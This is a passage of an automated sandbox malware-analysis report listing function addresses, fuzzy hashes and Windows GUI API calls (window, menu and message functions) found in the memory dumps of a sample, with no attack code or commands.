Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Rect$ConditionMaskWindow$BackgroundClientDrawFillInfoMetricsParentPointsSystemThemeVerifyVersion
String ID:
API String ID: 3218022401-0
Opcode ID: 3b25bf4e41cef08f91dce310206dc6ea695ab5483460a4003c1d595307dba382
Instruction ID: 19f4eb0740e7b7fcbb170bad8778599c69f22006de7534927e7437aeee62f64d
Opcode Fuzzy Hash: 3b25bf4e41cef08f91dce310206dc6ea695ab5483460a4003c1d595307dba382
Instruction Fuzzy Hash: B851AE36605A8086EB16DF23E854BAE67A0FB8CBC4F059021FF4A47BA0EF78C541C700

Uniqueness

Uniqueness Score: -1.00%

Function 000000014003E540 Relevance: 9.1, APIs: 6, Instructions: 121windowCOMMON

Download Yara Rule

APIs

Part of subcall function 000000014003A730: GetDlgItem.USER32 ref: 000000014003A759

GetWindowLongW.USER32 ref: 000000014003E573
GetWindowTextLengthW.USER32 ref: 000000014003E5A4
GetWindowTextW.USER32 ref: 000000014003E5ED
SendMessageW.USER32 ref: 000000014003E62F
SendMessageW.USER32 ref: 000000014003E6A9
SendMessageW.USER32 ref: 000000014003E6CB

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: MessageSendWindow$Text$ItemLengthLong
String ID:
API String ID: 538016872-0
Opcode ID: 12e4cd8df65f45c7c7f48a9676cbd89acf03eff6fbe613e40f7bac8e025f4fae
Instruction ID: 30bfd975ea69eb28d482e1de3ff25fae77e5e7990cf4177de3eff9bceadb3cd0
Opcode Fuzzy Hash: 12e4cd8df65f45c7c7f48a9676cbd89acf03eff6fbe613e40f7bac8e025f4fae
Instruction Fuzzy Hash: 34517936714A8082EB229F27E5857AF7761E78CBE4F148221FB69477E6CF38C8518740

Uniqueness

Uniqueness Score: -1.00%

Function 000000014009A198 Relevance: 9.1, APIs: 6, Instructions: 119windowCOMMON

Download Yara Rule

APIs

GetFocus.USER32 ref: 000000014009A1FC
GetParent.USER32 ref: 000000014009A219
GetParent.USER32 ref: 000000014009A253
UpdateWindow.USER32 ref: 000000014009A2F9
GetParent.USER32 ref: 000000014009A338
SendMessageW.USER32 ref: 000000014009A358

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Parent$FocusMessageSendUpdateWindow
String ID:
API String ID: 2438739141-0
Opcode ID: 4f1bd0ed8293b001d60c75b72ce99f6271484644d00ddc34160ed3d623aa0448
Instruction ID: 5306266ed95f3a3d8e8877018fc3e3ca4a2c538d002a2e258a5ca4b5a55ba708
Opcode Fuzzy Hash: 4f1bd0ed8293b001d60c75b72ce99f6271484644d00ddc34160ed3d623aa0448
Instruction Fuzzy Hash: 5C51AC35205B8182FE26EB67E4943EA23A0AB8DBE0F184125FB9A477F5DE7DC4418340

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140152730 Relevance: 9.1, APIs: 6, Instructions: 86windowCOMMON

Download Yara Rule

APIs

GetMenuItemCount.USER32 ref: 000000014015278E
GetMenuState.USER32 ref: 00000001401527A7
GetMenuItemID.USER32 ref: 00000001401527B6
CheckMenuItem.USER32 ref: 00000001401527D0
EnableMenuItem.USER32 ref: 00000001401527E8
EnableMenuItem.USER32 ref: 0000000140152800

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Menu$Item$Enable$CheckCountState
String ID:
API String ID: 1442426176-0
Opcode ID: 9190c680a120d7d633a922c8599e2881aa82430fe02b2aa40675fdb0d0433749
Instruction ID: a2ae7b46029b9a60efb080a5cb77d337e45087f66b4751f84b97240e93c1710e
Opcode Fuzzy Hash: 9190c680a120d7d633a922c8599e2881aa82430fe02b2aa40675fdb0d0433749
Instruction Fuzzy Hash: 1631A23A700B4081E756AB63D45939A2BA1FB8DFD0F184525DF994B7F5DF79C4428700

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400604CC Relevance: 9.1, APIs: 6, Instructions: 83keyboardwindowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 000000014006050C
GetKeyState.USER32 ref: 0000000140060544
GetKeyState.USER32 ref: 0000000140060556
SendMessageW.USER32 ref: 0000000140060574
SendMessageW.USER32 ref: 000000014006058E
GetNextDlgTabItem.USER32 ref: 00000001400605EA

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: MessageSendState$ItemNextParent
String ID:
API String ID: 1930099164-0
Opcode ID: eb810cc5d1583be9c866a6dd4ff852e74709a8fc01d94d6a5bb29f331829081d
Instruction ID: ca0237629af525c576eebf6b92c50bbe9943adab76d20fb6cd65c4df9ed60a3c
Opcode Fuzzy Hash: eb810cc5d1583be9c866a6dd4ff852e74709a8fc01d94d6a5bb29f331829081d
Instruction Fuzzy Hash: 9C316F35281A4282FE669B17E8547EB2362EB8CBD4F140525EB5F0B7F0EF78C4418A40

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400660C8 Relevance: 9.1, APIs: 6, Instructions: 72windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32 ref: 0000000140066149
SendMessageW.USER32 ref: 0000000140066176
SendMessageW.USER32 ref: 000000014006618F
SendMessageW.USER32 ref: 00000001400661C3
SendMessageW.USER32 ref: 00000001400661DC
Concurrency::details::ExternalContextBase::~ExternalContextBase.LIBCONCRT ref: 00000001400661FB

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: MessageSend$ContextExternal$BaseBase::~Concurrency::details::
String ID:
API String ID: 90368001-0
Opcode ID: f1a0382aba91b18763cfa8e740c47a32856f2fed497b1c64dafc1082f5532dc2
Instruction ID: c726d73ec35fa7949b87bd4cf0595aa691b8a3394e52e36824e497b838406b5e
Opcode Fuzzy Hash: f1a0382aba91b18763cfa8e740c47a32856f2fed497b1c64dafc1082f5532dc2
Instruction Fuzzy Hash: 83319E36224AC093EB669B22E855BDA7760FBCDB90F404225EB9D47BA5DF78C514CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000000014013A6CC Relevance: 9.1, APIs: 6, Instructions: 54windowCOMMON

Download Yara Rule

APIs

Part of subcall function 000000014007C4B0: ReleaseCapture.USER32 ref: 000000014007C500
Part of subcall function 000000014007C4B0: IsWindow.USER32 ref: 000000014007C521
Part of subcall function 000000014007C4B0: DestroyWindow.USER32 ref: 000000014007C532
Part of subcall function 000000014007C4B0: GetParent.USER32 ref: 000000014007C55D

InvalidateRect.USER32 ref: 000000014013A6FD
UpdateWindow.USER32 ref: 000000014013A707
GetParent.USER32 ref: 000000014013A735
SendMessageW.USER32 ref: 000000014013A756
InvalidateRect.USER32 ref: 000000014013A77D
UpdateWindow.USER32 ref: 000000014013A787

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Window$InvalidateParentRectUpdate$CaptureDestroyMessageReleaseSend
String ID:
API String ID: 1969771063-0
Opcode ID: 30aa3b8aadeae635dbfc8a7d3a3334473b168250d9390e2a253fac4c006d257f
Instruction ID: 775c5d53d389d6c0fb6d693e1a8698fb1f8f3c81fdf125ad0c9daf954497ae5f
Opcode Fuzzy Hash: 30aa3b8aadeae635dbfc8a7d3a3334473b168250d9390e2a253fac4c006d257f
Instruction Fuzzy Hash: B3213A76710681E7EB599F62DA94BE97762F7C8B85F440026CB1A07B61CF3AD4B0C700

Uniqueness

Uniqueness Score: -1.00%

Function 000000014017872C Relevance: 9.1, APIs: 6, Instructions: 53windowCOMMON

Download Yara Rule

APIs

GetWindowLongW.USER32 ref: 0000000140178765
SetWindowLongW.USER32 ref: 000000014017877A
GetParent.USER32 ref: 0000000140178786
SendMessageW.USER32 ref: 00000001401787A4
IsWindow.USER32 ref: 00000001401787AD
SetWindowLongW.USER32 ref: 00000001401787C2

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Window$Long$MessageParentSend
String ID:
API String ID: 2643385981-0
Opcode ID: 9be154b03619212b0101dc621ff628cb22f994f2980200fbea50d4c0a354a538
Instruction ID: ac51827701fd764177be95318d6162b630328ebe65fa6a58b1a862b2b79c425b
Opcode Fuzzy Hash: 9be154b03619212b0101dc621ff628cb22f994f2980200fbea50d4c0a354a538
Instruction Fuzzy Hash: D1115B35304A8082EB159B77A84979A2B61EBCDFD4F240125EF5A4BBAADF79C4428340

Uniqueness

Uniqueness Score: -1.00%

Function 000000014013A5FC Relevance: 9.0, APIs: 6, Instructions: 43windowCOMMON

Download Yara Rule

APIs

InvalidateRect.USER32 ref: 000000014013A640
UpdateWindow.USER32 ref: 000000014013A64A
GetParent.USER32 ref: 000000014013A669
SendMessageW.USER32 ref: 000000014013A68A
InvalidateRect.USER32 ref: 000000014013A6B4
UpdateWindow.USER32 ref: 000000014013A6BE

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: InvalidateRectUpdateWindow$MessageParentSend
String ID:
API String ID: 2428145105-0
Opcode ID: 16a7b4430fedf1a7eb0ead75f6cfd763863962ee087d9f2a813d83afff1984eb
Instruction ID: 2f1c8e14cecacba3216c2dfa6d13e30769fc3df09f2dc4393c6dfd873a4cf139
Opcode Fuzzy Hash: 16a7b4430fedf1a7eb0ead75f6cfd763863962ee087d9f2a813d83afff1984eb
Instruction Fuzzy Hash: 5B11C676210A40CAFB569F22D4597D92762E788F4DF480036CF494B6A5DFBAC494CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400D8768 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 229fileCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 00000001400D87CD
GetTempPathW.KERNEL32 ref: 00000001400D8841
GetTempFileNameW.KERNEL32 ref: 00000001400D88D7
CreateFileW.KERNEL32 ref: 00000001400D8927

Strings

AFX, xrefs: 00000001400D88CD

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: FileTemp$CloseCreateHandleNamePath
String ID: AFX
API String ID: 777972874-1300893600
Opcode ID: 02a075713e5600bc9e496857cb8d623e35c581e7ffcecd3d9ad893c9455262b3
Instruction ID: b4af6e2f5f2ed9b6694fdddd401caebc387e987223ec55faf7c62fa3bc09c6dc
Opcode Fuzzy Hash: 02a075713e5600bc9e496857cb8d623e35c581e7ffcecd3d9ad893c9455262b3
Instruction Fuzzy Hash: CD91B036305B8082EB26DB27E9547EE6361FB89BE0F454112EF5997BA5DF38C442C710

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400D245C Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 192windowCOMMON

Download Yara Rule

APIs

GetFocus.USER32 ref: 00000001400D2520
GetClientRect.USER32 ref: 00000001400D2592

Part of subcall function 0000000140049858: BeginPaint.USER32(?,?,?,?,?,0000000140043378), ref: 0000000140049892

FillRect.USER32 ref: 00000001400D25D3
InflateRect.USER32 ref: 00000001400D2642

Part of subcall function 0000000140075108: VerSetConditionMask.KERNEL32 ref: 0000000140075163
Part of subcall function 0000000140075108: VerSetConditionMask.KERNEL32 ref: 0000000140075174
Part of subcall function 0000000140075108: VerifyVersionInfoW.KERNEL32 ref: 0000000140075187
Part of subcall function 0000000140075108: GetSystemMetrics.USER32 ref: 0000000140075198

Strings

mmm, xrefs: 00000001400D25FD

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Rect$ConditionMask$BeginClientFillFocusInflateInfoMetricsPaintSystemVerifyVersion
String ID: mmm
API String ID: 3577466532-1545505134
Opcode ID: 7bf4dc384aa7e58e3636fc023d1c28410872245aed83aa2680e2d560834b54ff
Instruction ID: d0f9ef6968ba506d253bd78c43bdef4d931b4ae190b69efb3532a78b46a417ec
Opcode Fuzzy Hash: 7bf4dc384aa7e58e3636fc023d1c28410872245aed83aa2680e2d560834b54ff
Instruction Fuzzy Hash: 89815936B00A4086EB12EB67E8547ED2361B789BE4F455226EF1E177A9CF78C846C344

Uniqueness

Uniqueness Score: -1.00%

Function 000000014007A5E0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 170COMMON

Download Yara Rule

APIs

Part of subcall function 0000000140006230: _invalid_parameter_noinfo.LIBCMT ref: 00000001400062EC

CopyRect.USER32 ref: 000000014007A75D

Part of subcall function 000000014004A5AC: ClientToScreen.USER32 ref: 000000014004A5C5
Part of subcall function 000000014004A5AC: ClientToScreen.USER32 ref: 000000014004A5D6

IsRectEmpty.USER32 ref: 000000014007A779
IsRectEmpty.USER32 ref: 000000014007A795
IsRectEmpty.USER32 ref: 000000014007A7AB

Strings

Afx:ControlBar, xrefs: 000000014007A68C

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Rect$Empty$ClientScreen$Copy_invalid_parameter_noinfo
String ID: Afx:ControlBar
API String ID: 3927728238-4244778371
Opcode ID: 816223470ace245a30309818a85f2d69389e16cf8f4d8a5036e5279ead35d17f
Instruction ID: cc9ae681fb7d4f1e9c9c9534fd62f57412c407aa89d6d4c1d00e5e82b4906268
Opcode Fuzzy Hash: 816223470ace245a30309818a85f2d69389e16cf8f4d8a5036e5279ead35d17f
Instruction Fuzzy Hash: 0671AB36B08A8085EB56DB66E9507ED23A0B78DBD8F044216EF4E57BA5DF3CC546C300

Uniqueness

Uniqueness Score: -1.00%

Function 000000014016E200 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103windowCOMMON

Download Yara Rule

APIs

Part of subcall function 000000014003A624: EnableWindow.USER32 ref: 000000014003A645

SendMessageW.USER32 ref: 000000014016E276
SendMessageW.USER32 ref: 000000014016E28E
MessageBeep.USER32 ref: 000000014016E2C7

Part of subcall function 000000014016E60C: GetWindowRect.USER32 ref: 000000014016E64B

GetSubMenu.USER32 ref: 000000014016E2D7

Strings

Can't create context menu!, xrefs: 000000014016E37F

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Message$SendWindow$BeepEnableMenuRect
String ID: Can't create context menu!
API String ID: 1562889814-1189624947
Opcode ID: c36f13eff46cded1d42503c750121b5db58da9c3a0c56ecc679ddd691f81eb3b
Instruction ID: 4520086d6b640db351a3b47c8e4417bd59757a427008284a4f6923bdac60d8bf
Opcode Fuzzy Hash: c36f13eff46cded1d42503c750121b5db58da9c3a0c56ecc679ddd691f81eb3b
Instruction Fuzzy Hash: 21415A36310B4086EA669B27E855BDA67A1FB89BD0F084625DF5E07BA1DF78C4428600

Uniqueness

Uniqueness Score: -1.00%

Function 000000014005061C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 56COMMON

Download Yara Rule

Strings

Edit, xrefs: 0000000140050688

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: Edit
API String ID: 0-554135844
Opcode ID: 5fcd942c2c449602f160e59d8c868e5951446abe1fc943bf2870fa8964b1674b
Instruction ID: 7b2062d33fe734507c55a24570af3faac5c6c08620330ba4712d9015bc59d287
Opcode Fuzzy Hash: 5fcd942c2c449602f160e59d8c868e5951446abe1fc943bf2870fa8964b1674b
Instruction Fuzzy Hash: C521597230464196FF66DF23E5597ED22A1ABCCBC8F084025AB098B2F5DF79C8A1C301

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400644D0 Relevance: 7.8, APIs: 5, Instructions: 309windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32 ref: 0000000140064510
SendMessageW.USER32 ref: 000000014006452C

Part of subcall function 0000000140006230: _invalid_parameter_noinfo.LIBCMT ref: 00000001400062EC

MessageBeep.USER32 ref: 00000001400647E8
SendMessageW.USER32 ref: 0000000140064832
SendMessageW.USER32 ref: 0000000140064847

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Message$Send$Beep_invalid_parameter_noinfo
